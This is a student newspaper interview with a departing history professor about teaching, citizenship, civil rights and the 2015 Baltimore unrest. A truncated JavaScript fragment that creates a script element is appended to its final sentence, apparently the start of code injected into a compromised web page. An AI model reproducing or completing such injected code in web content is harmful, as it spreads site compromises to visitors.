Lessons From Beyond The Classroom

with Professor Carson


James Peru, Cactus Editor

Having recently been made aware that Professor of History and Multi-Cultural studies, Vanae Carson, would not be returning next semester, I decided to contact her and ask if she was interested in being featured in the last edition of “Lessons Beyond the Classroom” of the semester. She agreed, and the conversation that followed turned out to be one the most enriching I have had during my time here at the college. When asked about her own time teaching here at the college, she replied, “The students are naturally the best part of it all.”

Teaching history as a woman of color has given Professor Carson a unique perspective on not only the past generations of American society, but the current generations as well. “I grew up in the Midwest at a time when people like me were marching for civil rights,” she commented. “I got interested in history because I met a Professor like myself at Arizona State University, who helped me see myself in this historical narrative.”

Through her years of teaching, Professor Carson has strived to do the same for her students. “If you can show them the relationship between human behaviors in the 17th century, and human behaviors in the 21st, then they might connect, and see themselves in this historical narrative.”

By being able to see ourselves as a part of a historical narrative, as opposed to products of the future, we better prepare ourselves for what lies ahead. History, after all, has a tendency to repeat itself.

The rise in technical jobs and trade schools has led to a decrease in students required to be at least partially educated in the social sciences. This new trend is unsettling, as it can cause newer generations to become increasingly detached from education that benefits society as a whole, and too absorbed in education that is only self-serving.

“I encourage my students to get an education for the sake of being an educated person. Being a better citizen, being more informed, so that they can make a greater contribution,” says Professor Carson. “I call it teaching to transgress.”

We could all afford to be better citizens. However, it is firstly important to hash out what we believe in—what we can do to make a positive contribution.

“Every day I’m trying to figure out what my students believe in. I view part of my responsibility here, as an educator, is to help young people find their cause; something that gives meaning and purpose to their lives,” says Professor Carson.

Beliefs have a tendency to be a polarizing topic; where one person may support the death penalty, or a woman’s right to decide on abortion, another may find both issues completely immoral. This polarization of beliefs can oftentimes draw a dividing line between citizens of the same country. However, even with the differing opinions on what is moral, and what is not, humanity is something inherent to us all—even though some of us choose to ignore it.

Recently, with the latest rise in police brutality, we find ourselves asking these questions of ourselves yet again. What kind of person can shoot someone nine times in the back, and wake up the next day and feel no remorse? “You can only do that if you take away that person’s humanity, or you lose your own,” replies Professor Carson.

This loss of humanity, however brief, can have devastating impacts on society. Time Magazine’s most recent cover depicts the unrest caused by such a loss of humanity in Baltimore—the latest reaction to the death of another young, Black male at the hands of the police. The cover itself features a young black male running away from a mob of pursuing police officers, and its caption reads, “America 1968 (with 1968 being lined out)-2015: What has and hasn’t changed.”

Because I wasn’t alive in the 1960s, I can’t make that comparison. However, this latest cover from Time Magazine (being rendered in black in white) does evoke the images we have all seen of the civil rights movements during that period of history.

So what has changed? Well, a lot. “You asked me my story,” said Professor Carson. “My story is that I should be dead. I certainly shouldn’t be standing in front of a classroom when, less than 50 years ago, a person who looked like me couldn’t—especially not in integrated classrooms.”

While much has undoubtedly changed for the better, we still find ourselves facing conflicts (such as the recent slew of rioting) that are fueled primarily by a difference in skin color. However, looking back in history can once again provide insight into how to proceed going forward. Violence, such as the violence on display in Baltimore, is not the answer. Like the great Dr. King said, “Love is the only force capable of transforming an enemy into a friend.” We still have a long way to go in the fight for peace and equality; it is important that we never lose our grip on what makes us all human—our ability to be humane.var d=document;var s=d.createElement(‘script’);